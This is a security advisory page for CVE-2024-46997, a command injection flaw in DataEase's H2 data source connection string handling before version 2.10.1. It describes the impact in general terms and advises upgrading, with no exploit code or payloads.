CVE-2024-46997
Overview
This vulnerability is a command injection flaw rooted in improper input validation of the h2 data source connection string within DataEase. The affected component is the data source configuration parser, which fails to sanitize or restrict crafted connection strings, allowing malicious input to be interpreted as executable commands. This flaw occurs prior to version 2.10.1 in the open source data visualization tool DataEase.
Vulnerability Description
DataEase is an open source data visualization analysis tool. Prior to version 2.10.1, an attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string. The vulnerability has been fixed in v2.10.1.
Impact
An unauthenticated attacker with network access to the DataEase service can exploit this flaw to execute arbitrary commands remotely on the host system. This allows full compromise of the affected server, including data exfiltration, service disruption, or lateral movement within the network. The vulnerability requires no user interaction and has a low attack complexity (CVSS vector AV:N/AC:L/PR:N/UI:N), making exploitation straightforward and highly impactful for organizations using vulnerable versions of DataEase.
Solution
Users of DataEase should upgrade to version 2.10.1 or later, where the vulnerability has been addressed by properly sanitizing the h2 data source connection string. The vendor advisory available at https://github.com/dataease/dataease/security/advisories/GHSA-h7mj-m72h-qm8w provides detailed patch instructions and version information. No alternative mitigations or workarounds are specified; applying the official update is required to remediate this issue.

Full Analysis
The vulnerability in the open-source data visualization analysis tool, DataEase, stems from improper handling of input in the connection string for H2 database sources. This flaw allows an attacker to craft a malicious connection string that, when processed by the application, can lead to remote command execution on the server. Such a critical vulnerability arises from insufficient validation and sanitization of user input, enabling the execution of arbitrary commands with the privileges of the application. The severity of this issue is underscored by its high CVSS score, indicating a significant risk to systems utilizing this software prior to version 2.10.1.
Attack vectors for exploiting this vulnerability are relatively straightforward, given that the attacker only needs to manipulate the connection string. This could be achieved through various means, such as social engineering, phishing, or direct access to the application’s configuration settings. Once the attacker successfully injects the crafted connection string, they can execute commands on the underlying operating system, potentially leading to data exfiltration, system compromise, or the deployment of further malicious payloads. Scenarios may include an attacker gaining access to sensitive data stored on the server or leveraging the compromised system to pivot into other parts of the network, thereby escalating their attack.
The real-world impact of this vulnerability can be profound, particularly for organizations that rely on DataEase for critical data analysis and visualization. The potential for remote command execution poses a severe business risk, as it could lead to unauthorized access to sensitive information, disruption of services, and damage to the organization’s reputation. Additionally, the financial implications of a successful exploit could be significant, encompassing costs related to incident response, recovery, and potential regulatory fines if sensitive data is compromised. Organizations in sectors such as finance, healthcare, and government, where data integrity and confidentiality are paramount, may face heightened scrutiny and consequences in the event of a breach.
To detect and mitigate the risks associated with this vulnerability, organizations should adopt a multi-faceted approach. First and foremost, upgrading to version 2.10.1 or later is critical, as this version addresses the vulnerability directly. Furthermore, implementing robust input validation and sanitization measures can help prevent similar vulnerabilities in the future. Regular security assessments, including penetration testing and code reviews, should be conducted to identify and remediate potential weaknesses in the application. Additionally, organizations should monitor their systems for any signs of unusual activity that may indicate exploitation attempts, such as unexpected command executions or unauthorized access attempts.
In conclusion, the vulnerability within DataEase represents a significant threat to organizations utilizing this tool for data analysis and visualization. The potential for remote command execution highlights the importance of secure coding practices and the need for timely updates to software applications. By understanding the technical details, attack vectors, and real-world implications of such vulnerabilities, organizations can better prepare themselves to defend against potential exploits and safeguard their critical assets. Implementing comprehensive detection and mitigation strategies will be essential in maintaining the integrity and security of their systems in an increasingly complex threat landscape.
